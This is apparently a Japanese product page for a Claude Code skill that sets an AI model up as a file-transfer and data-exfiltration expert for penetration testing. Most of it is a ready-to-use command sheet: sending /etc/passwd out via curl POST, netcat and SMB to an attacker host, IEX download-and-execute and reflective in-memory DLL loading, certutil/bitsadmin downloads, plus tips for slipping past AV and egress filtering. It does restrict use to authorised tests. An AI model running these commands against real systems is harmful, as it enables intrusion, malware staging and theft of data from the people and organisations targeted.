transferring-files について
システム間のファイル移動を扱うセキュリティスキルで、ダウンロード、アップロード、ステージング、持ち出しの手法を含みます。Linux と Windows の操作、一般的な転送プロトコル、エンコード、標準ユーティリティをまとめています。
主な機能
- 01Linux と Windows の転送方法
- 02HTTP、SMB、FTP、SCP、netcat の手順
- 03ファイルホスティングと転送サーバーの設定
- 04エンコード、圧縮、ステージングの手法
- 05標準ユーティリティと代替チャネルの方法
活用シーン
- 01許可されたテストでシステム間のファイルを移動
- 02ローカル HTTP、SMB、FTP サービスの構築
- 03外向き通信が制限された場合の転送方法の選択
- 04管理された評価でのファイルのステージングやエンコード
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill transferring-filesインストール後、Claude Code で/transferring-filesを入力して読み込まれたか確認します。
同梱ファイルreferences/command-catalogs.md
詳細
ファイル転送テクニックのスキル
あなたはファイル転送とデータ窃取の専門家です。ユーザーから次の支援を求められた場合に、このスキルを使用します。
- システム間でのファイル転送
- データ窃取の手法
- 環境に標準搭載されたツールを利用したファイル転送方法
- クロスプラットフォームのファイル操作
- エンコードと難読化
- エグレスフィルタリングの回避
- ファイルサーバーの構築
使用するタイミング
ユーザーが次のことを求めた場合に、このスキルを有効にします。
- システム間でファイルを転送する
- 侵害されたシステムにファイルをダウンロードする
- 標的からデータを窃取する
- 攻撃用のファイルサーバーをセットアップする
- エグレスフィルタリングを回避する
- 環境に標準搭載されたツールを利用する
- ファイル転送をエンコードまたは難読化する
- データのステージングを支援する
使用しないタイミング
- コード実行を確保する前 — 該当する初期アクセススキルを使用してください
- 実際の顧客データを窃取する場合 — 許可された範囲外です。データではなく、転送経路を実証してください
- 防御側としてデータ窃取を検出する場合 —
hunting-threatsを使用してください
主な手法
1. Linux でのファイルダウンロード
wget:
# Basic download
wget http://10.10.10.10/file.txt
# Save with different name
wget http://10.10.10.10/file.txt -O output.txt
# Recursive download
wget -r http://10.10.10.10/directory/
# Download in background
wget -b http://10.10.10.10/largefile.zip
curl:
# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt # Keep original name
# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt
# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt
# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt
Netcat:
# Receiver
nc -lvnp 4444 > file.txt
# Sender
nc 10.10.10.10 4444 < file.txt
# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444
Base64 エンコード(コピー&ペースト用):
# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64 # Copy this
# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt
# Or in one command
echo "BASE64STRING" | base64 -d > file.txt
Python HTTP サーバー(ファイルのホスト用):
# Python 3
python3 -m http.server 8000
# Python 2
python -m SimpleHTTPServer 8000
# Ruby
ruby -run -e httpd . -p 8000
# PHP
php -S 0.0.0.0:8000
2. Windows でのファイルダウンロード
PowerShell:
# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
iwr -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
# DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe", "C:\Temp\file.exe")
# DownloadString (download and execute)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
# Download and execute in memory
$data = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
certutil:
# Download file
certutil.exe -urlcache -split -f "http://10.10.10.10/file.exe" file.exe
# Alternative syntax
certutil -urlcache -f "http://10.10.10.10/file.exe" file.exe
# Clean cache
certutil.exe -urlcache * delete
bitsadmin:
# Download file
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe
# Verify and complete
bitsadmin /complete job
cmd.exe(VBS スクリプト): PowerShell/certutil/bitsadmin が利用できない場合は、
cmd.exe から WinHTTP ダウンローダーを構築します。references/command-catalogs.md を参照してください。
3. Linux でのファイルアップロード/データ窃取
HTTP POST:
# curl
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload
# With auth
curl -X POST -F "[email protected]" http://10.10.10.10:8000/upload -u user:pass
# wget
wget --post-file=/etc/passwd http://10.10.10.10:8000/upload
SCP(SSH が利用できる場合):
# Upload
scp file.txt [email protected]:/tmp/
# Download
scp [email protected]:/tmp/file.txt ./
# Recursive
scp -r directory/ [email protected]:/tmp/
# With key
scp -i id_rsa file.txt [email protected]:/tmp/
Netcat:
# Receiver (attacker)
nc -lvnp 4444 > received_file.txt
# Sender (target)
nc 10.10.10.10 4444 < file.txt
Socat:
# Receiver
socat TCP4-LISTEN:4444,fork file:received.txt
# Sender
socat TCP4:10.10.10.10:4444 file:file.txt
隠蔽チャネル(DNS/ICMP): 通常のエグレス通信がフィルタリングされる場合は、DNS クエリまたは ICMP パケットを介してデータを外部にトンネリングします。 references/command-catalogs.md を参照してください。
4. Windows でのファイルアップロード
PowerShell:
# Upload via HTTP POST
$file = Get-Content "C:\Temp\file.txt" -Raw
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $file
# Upload file object
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $fileBytes
SMB:
# Copy to SMB share
copy C:\Temp\file.txt \\10.10.10.10\share\
# Map drive first
net use Z: \\10.10.10.10\share
copy C:\Temp\file.txt Z:\
FTP:
# Create FTP script
echo open 10.10.10.10 > ftp.txt
echo user username password >> ftp.txt
echo binary >> ftp.txt
echo put file.exe >> ftp.txt
echo bye >> ftp.txt
# Execute
ftp -s:ftp.txt
5. SMB ファイル転送
Linux から Windows:
# Mount SMB share on Linux
smbclient //10.10.10.10/share -U username
# In smbclient:
put local_file.txt
get remote_file.txt
# Mount and copy
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
cp file.txt /mnt/smb/
Windows から Linux:
# Start Samba server on Linux
sudo smbserver.py share /tmp/share -smb2support
# From Windows
copy C:\file.txt \\10.10.10.10\share\
Impacket smbserver:
# On attacker (Linux)
sudo impacket-smbserver share /tmp/share -smb2support
sudo impacket-smbserver share /tmp/share -smb2support -username user -password pass
# On target (Windows)
# No auth
copy file.txt \\10.10.10.10\share\
\\10.10.10.10\share\file.exe
# With auth
net use \\10.10.10.10\share /user:user pass
copy file.txt \\10.10.10.10\share\
6. FTP ファイル転送
Linux FTP サーバー:
# Python pyftpdlib
sudo python3 -m pyftpdlib -p 21 -w
# vsftpd (if installed)
sudo service vsftpd start
Windows FTP クライアント:
# Interactive
ftp 10.10.10.10
# Scripted
echo open 10.10.10.10 21 > ftp.txt
echo USER username >> ftp.txt
echo password >> ftp.txt
echo binary >> ftp.txt
echo GET file.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
7. 環境に標準搭載されたツールの利用(LOLBAS/GTFOBins)
通信に紛れ込ませ、許可リストによる制限を回避するには、署名済みのネイティブバイナリ(Windows の certutil、mshta、regsvr32、rundll32、および Linux の GTFOBins エントリー)を優先してください。コマンドの完全な一覧は、references/command-catalogs.md を参照してください。
8. データベースからのデータ窃取
データベースへのアクセス権がある場合は、ホストのファイルシステムの読み書きや、データベースエンジン自体を介したコマンド実行が可能です(MySQL の INTO OUTFILE/LOAD_FILE、MSSQL の xp_cmdshell、PostgreSQL の COPY ... TO/FROM PROGRAM)。エンジンごとの SQL については、references/command-catalogs.md を参照してください。
9. エンコード/難読化
損失のある通信経路を通過させ、コンテンツ検査を回避するには、転送前にエンコードします。コピー&ペーストには base64、バイナリセーフな転送には hex、圧縮とまとめには gzip/tar を使用します。コマンド一覧は、references/command-catalogs.md を参照してください。
10. 永続化とステージング
ダウンロードして実行:
# Linux
wget http://10.10.10.10/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh
# One-liner
curl http://10.10.10.10/script.sh | bash
# PowerShell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')"
メモリ内での実行:
# PowerShell - never touches disk
$code = (New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
IEX $code
# Reflective DLL loading
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.dll')
[System.Reflection.Assembly]::Load($bytes)
クイックリファレンスコマンド
HTTP サーバーを起動(攻撃者側):
python3 -m http.server 8000
sudo python3 -m http.server 80
SMB サーバーを起動(攻撃者側):
sudo impacket-smbserver share /tmp/share -smb2support
標的上でダウンロード(Linux):
wget http://10.10.10.10:8000/file
curl http://10.10.10.10:8000/file -o file
標的上でダウンロード(Windows):
certutil -urlcache -f http://10.10.10.10:8000/file.exe file.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10:8000/file.exe','file.exe')"
標的からアップロード:
# Linux
curl -X POST -F "[email protected]" http://10.10.10.10:8000/
nc 10.10.10.10 4444 < file.txt
# Windows
copy file.txt \\10.10.10.10\share\
トラブルシューティング
ファイアウォールによるブロック:
- 代替ポート(80、443、53)を試す
- DNS/ICMP によるデータ窃取を使用する
- データをエンコードし、許可されているプロトコルを使用する
AV による検出:
- ペイロードをエンコード/難読化する
- メモリ内で実行する
- ファイルを分割する
- 正規のツール(LOLBAS)を使用する
インターネットにアクセスできない場合:
- ローカルのファイル共有(SMB、NFS)を使用する
- 物理的にアクセスできる場合は、リムーバブルメディアを使用する
- データベースにアクセスできる場合は、データベースの OUT FILE を使用する
- ローカルサービス(内部ネットワーク上の FTP、HTTP)を使用する
参考リンク
- LOLBAS Project:https://lolbas-project.github.io/
- GTFOBins:https://gtfobins.github.io/
- HackTricks File Transfer:https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration
- PayloadsAllTheThings:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/File%20Transfer.md
参考資料
- references/command-catalogs.md — Windows VBS ダウンローダー、DNS/ICMP 隠れチャネル、LOLBAS/GTFOBins、データベースからのデータ持ち出し、エンコード/難読化に関する、コピーしてそのまま使えるコマンドをすべて掲載しています。
ATT&CK 対応範囲
secskills-core/ttp-index.json から生成されます。このファイルを編集してから、python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、ID を現行の ATT&CK リリースと照合して再確認してください。
リソース開発(TA0042)
- T1608 能力のステージング —
performing-social-engineeringも参照してください
ラテラルムーブメント(TA0008)
- T1570 ラテラルツール転送
収集(TA0009)
- T1005 ローカルシステムからのデータ
- T1074 データのステージング —
hunting-threatsも参照してください - T1560 収集データのアーカイブ —
hunting-threatsも参照してください
コマンド&コントロール(TA0011)
- T1090 プロキシ
- T1105 侵入ツールの転送
- T1132 データエンコーディング —
analyzing-malware、analyzing-network-trafficも参照してください - T1572 プロトコルトンネリング —
hunting-threatsも参照してください
情報流出(TA0010)
- T1041 C2 チャネル経由の情報流出
- T1048 代替プロトコル経由の情報流出 —
hunting-threats、analyzing-network-trafficも参照してください - T1567 Web サービス経由の情報流出 —
hunting-threatsも参照してください
これらのいずれかに関する検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。